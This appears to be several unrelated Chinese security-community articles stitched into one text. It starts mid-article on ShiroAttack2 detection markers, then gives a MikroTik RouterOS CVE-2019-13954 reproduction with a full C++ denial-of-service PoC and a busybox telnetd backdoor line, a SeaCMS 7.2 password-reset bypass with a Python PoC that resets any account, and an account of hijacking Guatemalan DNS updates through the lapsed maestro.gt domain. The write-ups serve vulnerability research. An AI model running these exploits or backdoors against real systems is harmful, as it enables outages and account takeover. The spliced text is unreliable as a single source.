* 利用链爆破部分会发送`Ctmd:08fb41620aa4c498a1f2ef09bbc1183c`作为是否可以回显的标志，这一部分是硬编码的，所以如果检测到包含`Ctmd:08fb41620aa4c498a1f2ef09bbc1183c`，也是有人正在利用该工具检测shiro
* 内存马注入时，会在请求中加上`p`和`path`参数，并且会在post请求中加上`dy`参数。
## 参考
* [ShiroAttack2](https://github.com/SummerSec/ShiroAttack2)
* [Java内存马：一种Tomcat全版本获取StandardContext的新方法](https://xz.aliyun.com/t/9914#toc-6)
* [Java中间件通用回显方法的问题及处理(7.7更新)](https://blog.csdn.net/fnmsd/article/details/106890242?spm=1001.2014.3001.5501) | 社区文章 |
# MikroTik RouterOS-CVE-2019-13954漏洞复现
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 产品描述：
**MikroTik RouterOS** 是一种 **路由操作系统**
，并通过该软件将标准的PC电脑变成专业路由器，在软件的开发和应用上不断的更新和发展，软件经历了多次更新和改进，使其功能在不断增强和完善。特别在无线、认证、策略路由、带宽控制和防火墙过滤等功能上有着非常突出的功能，其极高的性价比，受到许多网络人士的青睐。RouterOS在具备现有路由系统的大部分功能，能针对网吧、企业、小型ISP接入商、社区等网络设备的接入，基于标准的
**x86构架** 的PC。一台586PC机就可以实现路由功能，提高硬件性能同样也能提高网络的访问速度和吞吐量。完全是一套低成本，高性能的路由器系统。
## 漏洞利用分析：
### 漏洞描述：
根据CVE-2019-13954的漏洞公告中得知，认证的用户可以通过发送一个特殊的POST请求，服务器在处理此请求时会陷入死循环，造成内存耗尽，导致系统的服务瘫痪重启
### 漏洞原理：
CVE-2019-13954的漏洞利用地方跟CVE-2018-1157的类似，都是同一个地方死循环
下面是`6.40.5`，`x86`架构的漏洞文件反汇编代码：从中不难看出，有两个重要的函数决定循环是否能跳出while的死循环，sub_5E9F()和Headers::parseHeaderLine解析后的返回值为非零（即解析失败），因此此处可以利用的点就这两个函数
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
// ...
while ( 1 )
{
sub_5E9F(v32, &s1);
if ( !s1 )
break;
string::string((string *)&v41, &s1);
v14 = Headers::parseHeaderLine((Headers *)&v42, (const string *)&v41);
string::freeptr((string *)&v41);
if ( !v14 )
{
string::string((string *)&v41, "");
Response::sendError(a4, 400, (const string *)&v41);
string::freeptr((string *)&v41);
LABEL_56:
tree_base::clear(v16, v15, &v42, map_node_destr<string,HeaderField>);
goto LABEL_57;
}
}
//...
}
问题就出在sub_5E9F函数（读取post请求数据），在getline的时候，如果输入的字节数量大于
char *__usercall sub_5E9F@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
char *v2; // esi
char *result; // eax
unsigned int v4; // ecx
v2 = a2;
istream::getline(a1, a2, 256u, '\n');
result = 0;
v4 = strlen(v2) + 1;
if ( v4 != 1 )
{
result = &v2[v4 - 2];
if ( *result == 13 )
*result = 0;
}
return result;
}
下面是`6.42.11`，`x86`架构打了补丁的JSProxyServlet::doUpload，加了一个长度判断是不是0x100个字节
int __cdecl JSProxyServlet::doUpload(int a1, int a2, Headers *a3, Headers *a4)
{
//...
while ( 1 )
{
sub_51F7(v37, &s1);
if ( !s1 )
break;
v14 = -1;
v15 = &s1;
do
{
if ( !v14 )
break;
v16 = *v15++ == 0;
--v14;
}
while ( !v16 );
if ( v14 != 0x100u )
{
v36 = 0;
string::string((string *)&v46, &s1);
v17 = Headers::parseHeaderLine((Headers *)&v47, (const string *)&v46);
string::freeptr((string *)&v46);
if ( v17 )
continue;
}
string::string((string *)&v46, "");
Response::sendError(a4, 400, (const string *)&v46);
string::freeptr((string *)&v46);
LABEL_60:
tree_base::clear(v19, v18, &v47, map_node_destr<string,HeaderField>);
goto LABEL_61;
}
//...
}
相比`6.40.5`版本，6.42.11中sub_51F7的getline还是没有变
char *__usercall sub_51F7@<eax>(istream *a1@<eax>, char *a2@<edx>)
{
char *v2; // esi
char *result; // eax
unsigned int v4; // ecx
v2 = a2;
istream::getline(a1, a2, 0x100u, '\n');
result = 0;
v4 = strlen(v2) + 1;
if ( v4 != 1 )
{
result = &v2[v4 - 2];
if ( *result == 13 )
*result = 0;
}
return result;
}
### POC原理：
利用getline原理
虽然6.42.11的版本中JSProxyServlet::doUpload加入了长度的判断，并且getline是按照\n（getline是按行读取）结束符前取前0x100个字节，但是可以通过构造很多\00来影响整个字符串的长度，getline只会将\n前的0x100个字符读入缓冲区，再会消化掉\n转化为\00，总之getline()会根据参数对输入产生截断，不考虑字符数组的存储空间，先将输入转换为`"xxxx\0"`的格式
当是cin.getline(a, 5)时，输入abcdef，输出是abcd
当是cin.getline(a, 6)时，输入abcdef，输出是abcde
说明getline可能把空行\n转化为字符\0了，然后把\0算入所谓的长度5中了，不信，上汇编
测试代码：（长度改为了6）
#include <iostream>
#include <string>
using namespace std;
int main(void) {
char a[5];
cin.getline(a, 6);
int b = 5;
cout << "hello b = " << b << " a = " << a << endl;
return 0;
}
输入abcdefghimn
查看内存发现，输入d额是abcdefghimn，数组的空间被依次赋值为a,b,c,d,e，可见getline把空行转化为了\000，并且把\000也当作字符数组成员之一了
输入abc\0\0\0\0\0\0的话内存是这样的，下面可见getline把多个\0当成\\\字符了！因此可以用这个技巧去改变数组长度！
POC：
因为输入多个\0可以组合成\00字符，这样就不会被getline截断啦，因此post多发送几个\00就ok啦
#include <cstdlib>
#include <iostream>
#include <boost/cstdint.hpp>
#include <boost/program_options.hpp>
#include "jsproxy_session.hpp"
#include "winbox_message.hpp"
namespace
{
const char s_version[] = "CVE-2019-13954 PoC 1.1.0";
bool parseCommandLine(int p_argCount, const char* p_argArray[],
std::string& p_username, std::string& p_password,
std::string& p_ip, std::string& p_port)
{
boost::program_options::options_description description("options");
description.add_options()
("help,h", "A list of command line options")
("version,v", "Display version information")
("username,u", boost::program_options::value<std::string>(), "The user to log in as")
("password", boost::program_options::value<std::string>(), "The password to log in with")
("port,p", boost::program_options::value<std::string>()->default_value("80"), "The HTTP port to connect to")
("ip,i", boost::program_options::value<std::string>(), "The IPv4 address to connect to");
boost::program_options::variables_map argv_map;
try
{
boost::program_options::store(
boost::program_options::parse_command_line(
p_argCount, p_argArray, description), argv_map);
}
catch (const std::exception& e)
{
std::cerr << e.what() << "\n" << std::endl;
std::cerr << description << std::endl;
return false;
}
boost::program_options::notify(argv_map);
if (argv_map.empty() || argv_map.count("help"))
{
std::cerr << description << std::endl;
return false;
}
if (argv_map.count("version"))
{
std::cerr << "Version: " << ::s_version << std::endl;
return false;
}
if (argv_map.count("username") && argv_map.count("ip") &
argv_map.count("port"))
{
p_username.assign(argv_map["username"].as<std::string>());
p_ip.assign(argv_map["ip"].as<std::string>());
p_port.assign(argv_map["port"].as<std::string>());
if (argv_map.count("password"))
{
p_password.assign(argv_map["password"].as<std::string>());
}
else
{
p_password.assign("");
}
return true;
}
else
{
std::cerr << description << std::endl;
}
return false;
}
}
int main(int p_argc, const char** p_argv)
{
std::string username;
std::string password;
std::string ip;
std::string port;
if (!parseCommandLine(p_argc, p_argv, username, password, ip, port))
{
return EXIT_FAILURE;
}
JSProxySession jsSession(ip, port);
if (!jsSession.connect())
{
std::cerr << "Failed to connect to the remote host" << std::endl;
return EXIT_FAILURE;
}
// generate the session key but don't log in
if (!jsSession.negotiateEncryption(username, password, false))
{
std::cerr << "Encryption negotiation failed." << std::endl;
return EXIT_FAILURE;
}
std::string filename;
for (int i = 0; i < 0x50; i++)
{
filename.push_back('A');
}
for (int i = 0; i < 0x100; i++)
{
filename.push_back('\x00');
}
if (jsSession.uploadFile(filename, "lol."))
{
std::cout << "success!" << std::endl;
}
return EXIT_SUCCESS;
}
### 漏洞验证
gdb调试验证构造的特殊post可以使系统程序www陷入死循环
在调试验证的过程中注意Linux默认开启了ASLR保护机制，为了好找地址，关掉ASLR
`sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"`
通过后门busybox登陆routeros，查看www的进程pid后，开启gdbserver附加www
开启gdb，准备调试，设置架构为i386，目标主机为192.168.0.113，端口为1234
`set architecture i386`
`target remote 192.168.0.113:1234`
同时本地运行POC，`info proc mappings`查看当前已经加载的模块，但是没发现有关jsproxy的模块
对www模块进行断点，然后s几下便发现jsproxy.p出来了
在ida中找到要断点的函数的偏移地址，从doUpload函数断点，偏移量为8D08
将mappings中jsproxy的基地址加上偏移地址就ok了，对其断点
接下里我们可以通过对sub_51F7下断点，然后c几次，再取消断点运行看是否会使系统重启
Sub_51F7的地址为0x77540000+0x51F7，c几次会一直执行
将断点删除后，发现系统重启了，成功验证该漏洞！
## 漏洞环境搭建过程
### RouterOS环境搭建
因为CVE-2019-13954跟CVE-2018-1157原理类似，可以顺便也了解下，可以选择同时下载两个版本，都验证一下
CVE-2018-1157可在系统版本6.40.5验证
CVE-2019-13954可在系统版本6.42.11验证
MikroTik RouterOS镜像下载地址：<https://mikrotik.com/download>
虚拟机安装镜像，按a，选择所有，然后i安装，后续都默认y就行
用户名是admin，密码为空，下图说明成功安装
把虚拟机改成桥接模式
虚拟机获取ip
`ip dhcp-client add interface=ether disabled=no`
查看虚拟机获取的ip
`ip dhcp-client print detail`
测试是否能ping通，测试ok
我们需要下载busybox（用于开root后门）、gdbserver.i686（远程调试）
busybox：`wget https://busybox.net/downloads/binaries/1.30.0-i686/busybox`
**busybox使静态编译的，不依赖于系统的动态链接库，从而不受ld.so.preload的劫持，能够正常操作文件。系统在执行程序的时候，会通过环境变量LD_PRELOAD和配置文件/etc/ld.so.preload进行预加载从而调用动态链接库，如果这两者被修改的话，那么系统程序在执行的时候，就会调用这两者被修改的内容。**
除了busybox，我们还可以通过[https://github.com/tenable/routeros下的**cleaner_wrasse**利用漏洞开启后门](https://github.com/tenable/routeros%E4%B8%8B%E7%9A%84**cleaner_wrasse**%E5%88%A9%E7%94%A8%E6%BC%8F%E6%B4%9E%E5%BC%80%E5%90%AF%E5%90%8E%E9%97%A8)
gdbserver.i686下载地址：<https://github.com/rapid7/embedded-tools/blob/master/binaries/gdbserver/gdbserver.i686>
下载后，我们还需要一个LiveDVD的linux系统镜像，用来挂载RouterOS的文件系统，并上传和改写文件
CentOS-6.10-x86-64-LiveDVD下载地址：<https://vault.centos.org/6.10/isos/x86_64/>
在虚拟机设置CD/DVD驱动器为上面下载的CentOS的镜像
在启动磁盘这选择CD/DVD，并重新启动
如果启动非常慢，可以在虚拟机设置里，把CPU的核心和内存分配多点，这样运行快些
如果可以看到有rw这个文件夹，说明挂载成功了
进入rw文件夹，打开终端，进入root权限，如果disk是绿色的说明没有损坏，我有一次是红色的，如果也出现跟我类似的情况就重装一次RouterOS就行
进入disk文件夹，因为我已经下过了，并且把busybox-i686和gdbserver.i686都放到自己的服务器上了，所以我这里就直接用scp从服务器上下载下来
别忘了给权限
最后我们还需要在/rw目录下编写一个DEFCONF脚本，用来使RouterOS开机运行后门，RouterOS每次开机都会运行DEFCONF这个文件，但是重启之后会没了，不想麻烦的，可以开个快照
`ok; /rw/disk/busybox-i686 telnetd -l /bin/bash -p 1270;`
在虚拟机里从硬盘重启RouterOS，重启后在要输入账号的时候出现下面这样，说明busybox的后门成功开启了
此时，我们可以不通过用户名和密码就在ubuntu中直接telnet远程登陆RouterOS了
`telnet ip port`
### 漏洞文件获取
在通过后门登陆后，查看www和jsproxy.p所在的位置
这里可以通过工具[Chimay-Red](https://github.com/BigNerd95/Chimay-Red)从官网上提取6.40.5和6.42.11版本的www、jsproxy.p
`./tools/getROSbin.py 6.40.5 x86 /nova/bin/www www_binary`
`./tools/getROSbin.py 6.42.11 x86 /nova/bin/www www_binary_2`
### 编译生成POC
依赖环境:
* Boost 1.66 or higher
* cmake （我ubuntu有装过，就不再装了）
安装Boost：
Ubuntu：
`sudo apt-get install libboost-dev`
测试代码：
#include <iostream>
#include<boost/version.hpp>
#include<boost/config.hpp>
using namespace std;
int main() {
cout << BOOST_VERSION << endl;
cout << BOOST_LIB_VERSION << endl;
cout << BOOST_PLATFORM << endl;
cout << BOOST_COMPILER << endl;
cout << BOOST_STDLIB << endl;
return 0;
}
如果能运行并且出现下面的信息，说明成功
POC编译的环境以及其他要用到的脚本文件
`git clone https://github.com/tenable/routeros.git`
编译生成cve_2019_13954的poc
`cd cve_2019_13954`
`mkdir build`
`cd build`
`cmake ..`
`make` | 社区文章 |
> code:`https://www.seacms.net`
> Version:`7.2`
### 0x01 前言
写完[Seacms7.2-任意文件删除&Getshell后台篇](https://xz.aliyun.com/t/3805)之后就开始了漫长的考试,课程设计时间。一直没时间把前台篇也就是本文写完,今天彻底放假了,故此完善本文。
先附上一个自己写的黑盒测试辅助工具：[MySQLMonitor](https://github.com/TheKingOfDuck/MySQLMonitor)
主要用户辅助黑/白盒测试SQL注入一类的漏洞。
很适合代码基础相对较弱的师傅们使用。
### 0x02 过程
经过一系列的前台测试后实在找不到有用的漏洞,笔者转向取寻找用户之间的漏洞。
注册两个用户:
账号 | 密码
---|---
User_A | 12345678
User_B | 87654321
登录账号`User_A`进行测试。
这里笔者本来只是想通过审查元素修改显示为明文 这样演示效果好一点
缺意外发现此处将用户密码的hash直接写出来了？如果此处附近存在XSS有或者同事朋友在你登录了账号的时候来使用你电脑
不是可以直接丢到cmd5等平台解密出来了？总之这种写法很不安全！
此处重点测试。
比对发现两个用户的邮箱可以相同 可惜并不能越权修改 暂时无法利用
此处为了方便本地调试将member.php文件的第164行修改为
// ShowMsg('抱歉！激活邮件发送失败，请联系客服解决此错误。','login.php',0,100000);
var_dump($smtprtitle);
var_dump($smtprbody);
（将原本的发送失败的提示注释掉 修改为重置密码的邮件内容）
得到了格式如：
http://127.0.0.1/member.php?mod=repsw3&repswcode=54de2fd1aa4e96c4e1a3ce0b5153d170&repswname=User_A
直接修改参数中的repswname提示授权码过期 看来这个repswcode生成的算法应该用到了repswname这个值。
正常重置后：
如图 惊讶的发现正常重置后开发把repswcode的值又设成`y` 那么问题来了 重置密码时将repswcode直接修改为y能否重置密码了？
比如：
http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B
Poc即为：
http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=targetUser
Python Poc：
import requests
session = requests.Session()
paramsGet = {"mod":"repsw4"}
paramsPost = {"cckb":"\x63d0\x4ea4","repswname":"targetUser","repswnew2":"12341234","repswcode":"y","repswnew1":"12341234"}
headers = {"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Android 9.0; Mobile; rv:61.0) Gecko/61.0 Firefox/61.0","Referer":"http://127.0.0.1/member.php?mod=repsw3&repswcode=y&repswname=User_B","Connection":"close","Accept-Language":"en","Accept-Encoding":"gzip, deflate","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"85a2970b95cf09d5472b13c211f2afe3"}
response = session.post("http://127.0.0.1/member.php", data=paramsPost, params=paramsGet, headers=headers, cookies=cookies)
print("Status code: %i" % response.status_code)
print("Response body: %s" % response.content)
将Poc种的地址替换为目标站点 targetUser替换为目标用户再运行即可。
### 0x03 分析
查看数据库发现所有用户的repswcode值默认都为`y` 那么问题肯定是先出在注册程序上了 定位到根目录下`reg.php`的第50行到第67行：
$row1=$dsql->GetOne("select username from sea_member where username='$username'");
if($row1['username']==$username)
{
ShowMsg('用户已存在','-1');
exit();
}
$pwd = substr(md5($m_pwd),5,20);
$ip = GetIP();
$randtime=uniqid();
$acode=md5($cfg_dbpwd.$cfg_dbname.$cfg_dbuser.$randtime); //构造唯一码
$email = RemoveXSS(stripslashes($email));
$email = addslashes(cn_substr($email,200));
$regpoints=intval($cfg_regpoints);
if($regpoints=="" OR empty($regpoints)){$regpoints=0;}
if($username) {
$dsql->ExecuteNoneQuery("INSERT INTO `sea_member`(id,username,password,email,regtime,regip,state,gid,points,logincount,stime,vipendtime,acode,repswcode,msgstate)
VALUES ('','$username','$pwd','$email','$dtime','$ip','1','2','$regpoints','1','1533686888','$dtime','$acode','y','y')");
注意看最后两行会发现注册时写入的repswcode得值时固定的 也就是前面提到的`y` 而且`member.php`的第249-272行：
if($mod=='repsw4'){
$repswname=$_POST['repswname'];
$repswcode=$_POST['repswcode'];
$repswnew1=$_POST['repswnew1'];
$repswnew2=$_POST['repswnew2'];
if($repswnew1 != $repswnew2){showMsg("两次输入密码不一致！","-1",0,3000);exit();}
if(empty($repswname) OR $repswname==""){showMsg("授权码错误或已过期！","index.php",0,100000);exit();}
if(empty($repswcode) OR $repswcode==""){showMsg("授权码错误或已过期！","index.php",0,100000);exit();}
$row=$dsql->GetOne("select * from sea_member where username='$repswname'");
$repswcode2=$row['repswcode'];
if($repswcode != $repswcode2){showMsg("授权码错误或已过期！","index.php",0,100000);exit();}
$pwd = substr(md5($repswnew1),5,20);
$dsql->ExecuteNoneQuery("update `sea_member` set password = '$pwd',repswcode = 'y' where username='$repswname'");
ShowMsg('密码重置成功，请使用新密码登陆！','login.php');
exit();
}
可以看到重置密码成功后repswcode的值又给设为`y`了 因此造成了漏洞
### 0x04 修复
function randomkeys($length)
{
$pattern = '1234567890abcdefghijklmnopqrstuvwxyz
ABCDEFGHIJKLOMNOPQRSTUVWXYZ;
for($i=0;$i<$length;$i++)
{
$key .= $pattern{mt_rand(0,35)};
}
return $key;
}
$repswcode = randomkeys(10);
厂家或用户可自行将上面的函数添加到`reg.php` 和`member.php`中并将分析中两处写入的`y`替换为`$repswcode`
10位的随机字符就很难爆破了。 | 社区文章 |
# 【技术分享】攻击DNS之利用顶级域名配置错误监控Windows域用户
|
##### 译文声明
本文是翻译文章，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/hacking-guatemalas-dns-spying-on-active-directory-users-by-exploiting-a-tld-misconfiguration/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
翻译：[pwn_361](http://bobao.360.cn/member/contribute?uid=2798962642)
预估稿费：300RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**前言**
为了寻找新的有趣的域名解析系统漏洞，我决定查看各种各样的[顶级域名](https://en.wikipedia.org/wiki/Top-level_domain)，并分析它们的错误配置，经过一些初步的搜索，我发现有一个很好的开源服务工具，可以帮助DNS管理员扫描它们的域名系统，察看是否存在错误配置，这就是[瑞典互联网基金会](https://github.com/dotse/)开发的[DNScheck](https://github.com/dotse/dnscheck)工具,该工具会高亮显示出各种各样的奇怪DNS配置错误，这种错误例如：有一个权威名称服务器列表，一个域名的权威名称服务器和该名称服务器在上一级顶级名称服务器的设置之间不配置(引起这种问题的原因在“[通过劫持DNS解析服务器攻击目标](http://bobao.360.cn/learning/detail/3434.html)”这篇文章中可以看到)。尽管这些域名有配置错误，但是它并没有明确指出漏洞在哪里，不过它可以让我们知道：如果发现有些配置是错误的，那么研究这些错误配置，将是研究工作的一个不错的开始。
截止写这篇文章时，有[1519个顶级域名](https://en.wikipedia.org/wiki/List_of_Internet_top-level_domains)。我并没有手动的逐个扫描每一个顶级域名，我选择写一个脚本来自动扫描所有顶级域名。我已将这个脚本的扫描结果放在了Github上，名称是“[TLD
Health Report](https://github.com/mandatoryprogrammer/TLD-Health-Report)”。该脚本可以高亮显示出有严重配置错误的顶级域名。在花了一两个小时对顶级域名配置错误进行检查后，我在[“.gt”顶级域名](https://en.wikipedia.org/wiki/.gt)上发现了一个有趣的问题，该错误可以从[Github的页面](https://github.com/mandatoryprogrammer/TLD-Health-Report/blob/2fd03c5c05c7e2ddcc88a9c8b84bba262487f043/health_reports/gt.md#soa-scan)看到，下面是一部分：
正如上面我们看到的，maestro.gt域名存在多个错误或警告状态，有无法路由错误，并且是“.gt”顶级域名的一个无效的[主名称服务器](http://www.peerwisdom.org/2013/05/15/dns-understanding-the-soa-record/)(MNAME)。我们可以通过执行下面的dig命令，来看一下这个配置：
如上所示，我们对随机的一个“.gt”域名进行dig后得到了一个[NXDOMAIN错误](https://www.dnsknowledge.com/whatis/nxdomain-non-existent-domain-2/)(因为我们请求的域名不存在，可以被注册)，而且与此同时，我们得到了一个[起始授权机构(SOA)的记录](http://www.zytrax.com/books/dns/ch8/soa.html)，maestro.gt域名作为了主名称服务器。因此任何“.gt”顶级域名下，不存在的域名发送的请求，在返回的SOA记录中的域名都是maestro.gt(SOA记录)。
**“无法解决的”另一个说法是“还没有解决”**
如果你读过我[之前写的关于DNS漏洞的一篇文章](https://thehackerblog.com/the-international-incident-gaining-control-of-a-int-domain-name-with-dns-trickery/index.html)，你就有可能已经猜到了为什么这些域名问题还没有被解决。那是因为这些域名不存在(可以被别人注册并使用)！事实证明，maestro.gt域名也是开放注册的。在进行了一些搜索和Google翻译后，我发现在“[Registro
de Dominios .gt.](https://www.gt/)”上可以注册该域名，每年大约需要60美元(至少需要注册两年)。
你相信它使用Visa卡吗？
虽然价格昂贵，但是和美国中部的许多其他顶级域名注册相比，它的注册过程很快，并且完全自动化。唯一的缺陷是我的借记卡因为可疑活动被立即冻结了，我不得不去网上解冻它，使订单可以通过：
很显然，上午1:30买了一个危地马拉域名是卡片被冻结的理由(成功注册了这个域名)。
**发现可能存在的问题**
由于起始授权机构的主名称服务器(SOA MNAME)是DNS的一个复杂特性，我无法预测DNS流量中有什么。因此我配置了我的[“Bind
DNS”服务器](https://en.wikipedia.org/wiki/BIND)(使用了刚才成功注册的域名)，并发送查询，来请求“.gt”下所有域名的[A记录](https://pressable.com/blog/2014/12/23/dns-record-types-explained/)，并根据我的IP地址，来过滤出所有数据包。我设置了tcpdump，将所有DNS流量打包成一个pcap文件，便于后面的分析。
我在早晨发现的东西是我远远没有预料到的，当我检查pcap数据时，我发现来自危地马拉各地的计算机向我的服务器发送了DNS查询请求。
世界上正在发生什么呢？进一步观察结果只会产生更多的混乱：
大部分DNS UPDATE请求流量来自于内部IP地址。上面是一个DNS
UPDATE请求的例子，正在尝试更新我DNS服务器的区域，目的是为了更新一个SRV记录，包含一个LDAP服务器，它属于危地马拉的一个随机的政府网络。
**WINDOWS活动目录域**
为了理解我们得到的这个流量是什么，我们需要快速了解一下什么是Windows活动目录(AD)域和动态DNS(DDNS)。Windows域的结构与互联网域名的结构大致相同。创建一个Windows域时，你必须指定一个[DNS后缀](http://compinfopro.com/dns-suffix-what-does-it-mean/)，这个DNS后缀可以看作是一个基域(父域)，在这个父域下，所有子域或机器的简单主机名都包含这个子域名。例如，我们有一个thehackerblog.com域，在这个父域下，有两个活动目录网络：east和west。在thehackerblog.com父域下，我们可以设置两个子域：east.thehackerblog.com和west.thehackerblog.com。如果我们有一个专门的WEB服务器来放置east部门的所有文档，它的主机名就有可能类似于documentation.east.thehackerblog.com。我们为该网络建立了一个域树，如下示例：
类似于documentation.east.thehackerblog.com的主机名允许计算机和人们在这个网络中轻松地找到对方。该网络的DNS服务器会将这个人类可读的主机名转换成该机器指定的IP地址，这样你的计算机才会知道去哪请求你寻找的信息。因此，当你在浏览器键入documentation.east.thehackerblog.com这个内部的网站URL时，你的计算机首先会向该网络的DNS服务器发出请求，目的是为了获得这个主机名对应的IP地址，从而找到这个主机并将流量路由过去。
根据这种结构，产生了一个问题，在这个网络中，由于机器的IP地址会经常改变，当documentation.east.thehackerblog.com的IP突然改变后，会发生什么呢？网络中的DNS服务器如何才能知道该机器的新IP地址呢？
**WINDOWS动态DNS(DDNS)**
Windows活动目录网络通过[动态更新](https://technet.microsoft.com/en-us/library/cc771255\(v=ws.11\).aspx)机制来解决这个问题，动态更新的核心其实很简单。为了将documentation.east.thehackerblog.com的记录保持为正确的和最新的，该服务器会偶尔访问网络的DNS服务器，并更新它的DNS记录，例如，如果documentation.east.thehackerblog.com的IP地址突然改变了，该服务器会访问域的DNS服务器，并告诉它：“嗨，我的IP改变了，请将documentation.east.thehackerblog.com的IP记录更新为我的新IP，以便于人们知道我在哪”。这就好比一个真实世界的人在搬家后，它可以通过邮件，将新的地址通知给它的朋友、工作场所、及在线商店。
这个技术的关键点总结如下(这是从“[理解动态更新](https://technet.microsoft.com/en-us/library/cc771255\(v=ws.11\).aspx)”中引用的)：
**1.DNS客户端使用该计算机的DNS域名发送一个SOA类型的查询。**
**2.该客户端计算机使用它当前配置的完全合格域名(FQDN)(如newhost.tailspintoys.com)，作为这个查询的指定名称。**
对于标准的主要区域，在SOA查询响应中返回的主服务器或拥有者是固定的和静态的。主服务器名称始终与准确的DNS名称相匹配,因为该名称会存储在区域中，并显示在SOA资源记录中。然而,如果正在更新的区域是目录集成区域,则任何加载此区域的DNS服务器都可以响应此SOA查询,并在SOA查询响应中动态插入它自己的名称作为此区域的主服务器。
**3.DNS客户端服务会尝试联系主DNS服务器。**
客户端会对它名称的SOA查询响应进行处理，以确定这个IP所在的、接受它名称的、作为主服务器的DNS服务器是被授权的。然后，它将根据需要执行下列步骤，以联系并动态更新主服务器。
(1)客户端向SOA查询响应中确定的主服务器发送一个动态更新请求。
如果更新成功，则不执行其他操作。
(2)如果更新失败，接下来，客户端针对SOA记录中指定的区域名称，发送一个NS类型的请求。
(3)当客户端收到此查询的响应时，向收到的响应列表中的第一个DNS服务器发送一个SOA查询。
(4)解析此SOA查询后，客户端向SOA解析出的服务器发送一个动态更新。
如果成功，则不执行其他操作。
(5)如果更新失败，根据第(2)步中查询响应的服务器列表，客户端继续下一个SOA查询过程。
**4.联系到可以执行更新的主服务器后，客户端将发送更新请求，随后服务器将处理该请求。**
更新请求的内容包括指示添加“newhost.tailspintoys.com”的
A(以及可能的PTR)资源记录,并删除“oldhost.tailspintoys.com”的这些相同类型的记录，因为该名称先前已经注册过。
服务器还将进行检查，以确保允许根据客户端请求进行更新。对于标准主要区域，动态更新并不安全，因为任何客户端的更新尝试都会成功。对于活动目录集成区域，更新是安全的，并且使用基于目录的安全设置执行更新。
上面的过程是比较啰嗦的，主要过程可以精简一些，因此我将上面步骤的重要部分加粗了，并将上面步骤中客户端最重要的工作总结如下：
1.机器使用当前完整的主机名，向网络中的DNS服务器发送一个SOA查询。我拿刚才的例子来说明，它会包含documentation.east.thehackerblog.com作为主机名。
2.网络中的DNS服务器收到这个查询后，会返回它自己的一个SOA记录，内容是指定的主名称服务器的主机名，例如，这可能类似于ns1.thehackerblog.com。
3.然后，客户端解析这个SOA记录，并访问解析出的ns1.thehackerblog.com主服务器，并发送它想要做的DNS更新/修改。
4.ns1.thehackerblog.com
DNS服务器收到这个更新后，将documentation.east.thehackerblog.com的IP修改为新的IP。好了，一切路线再次正常了！
**Windows域命名约定 &最佳实践指南**
在我们理解危地马拉DNS异常前，我们需要了解的最后一段信息是Windows域的要求：
“默认情况下，DNS客户端不会尝试动态更新顶级域名(TLD)区域，任何使用单标签命名的区域都会被认为是一个TLD区域，例如，com、edu、blank、my-company。为了允许DNS客户端能动态更新TLD区域，你可以使用更新顶级域名区域策略设置，或者你可以修改注册表”
因此，默认情况下，你不能有类似于companydomain的一个Windows域，因为它是单标签的，会被Windows认为是一个顶级域名，如.com，.net，或.gt。而这个设置可以(有希望的)在每个单独的DNS客户端被禁用，这很容易，仅需要companydomain.com一个域。虽然不是所有的公司都遵循这个说明，但还是在[强烈建议](https://support.microsoft.com/en-sg/help/300684/deployment-and-operation-of-active-directory-domains-that-are-configured-by-using-single-label-dns-names)，因为使用单标签域名时，如果你内部网络域名的末端被注册为互联网顶级域名的DNS根区域，就有可能引起很多冲突(一个著名的问题是[名称碰撞](https://www.icann.org/resources/pages/name-collision-2013-12-06-en)，这是一个[热门的网络讨论话题](https://www.icann.org/en/system/files/files/name-collision-02aug13-en.pdf)，并且还会继续)。
**把它们全放在一起—-成为你域名的主人**
现在我们有了所有信息，情况变得更加明朗了，危地马拉国家有很多Windows网络，在这些网络中有内部的Windows域，它们采用了“.gt”顶级域名的子域名。例如，如果微软在危地马拉有一个部门，他们的内部网络域名有可能类似于microsoftinternal.com.gt，这个机器会周期性的向它网络中的DNS服务器发送动态DNS更新，以确保它网络中的主机名是最新的，并能正确路由。由于种种理由，例如防止与外部公司互联网子域名产生名称碰撞，许多网络很可能利用内部网络域名，该域名在更广泛的互联网中是不存在的，例如在这个例子中，微软可以使用一个内部的活动目录域名，如microsoftinternal.com.gt，从而在这个域里，就不会和外部互联网子域名microsoft.com.gt产生名称碰撞。
问题是，很多巧妙的DNS配置错误，有可能造成本来是向内部域的DNS服务器发送的请求，却发送到了顶级域名服务器上。这个问题被称为名称碰撞，并且是一个证据充分的问题，这有时也被称为DNS查询“泄漏”。
如果一个机器使用一个DNS解析器，并且不清楚该内部网络的DNS设置，或配置错误，导致查询到了外部网络的DNS服务器，从而会使这个查询泄漏到“.gt”顶级域名服务器上，因为他们是整个顶级域名空间的授权名称服务器。名称碰撞问题是非常常见的，并且因为这个原因，新的顶级域名往往会做大量的审查，以确保它们不是一般的内部网络域名，例如.local，.localhost，.localdomain，等等。
当有“.gt”扩展的一个内部区域发生泄漏时，一个机器尝试更新一条内部DNS记录，并发送DNS更新查询，但是意外的发送到了“.gt”顶级域名服务器上。例如，microsoftinternal.com.gt内部域有一个主机，并且向com.gt顶级域名服务器发送DNS更新查询。以下是执行此查询的示例，使用了nsupdate
DNS命令行工具(大部分OSX和Linux系统都支持)：
我们可以看到该查询导致了一个NXDOMAIN错误，但无论如何，却返回了一个SOA响应，并包含了maestro.gt，它作为了主名称服务器。对于该查询，这是一个有效的SOA响应，因此所有主机会继续向maestro.gt服务器发送DNS更新查询，它的IP地址是52.15.155.128(这是我的服务器，我已经注册了maestro.gt域名)。此更新查询会以失败结束，因为我将自己的DNS服务器设置成拒绝客户端的更新请求(因为我不想主动干扰这些机器/网络)。这就是为什么所有这些随机的机器会向我的maestro.gt服务器发送DNS更新请求的原因。
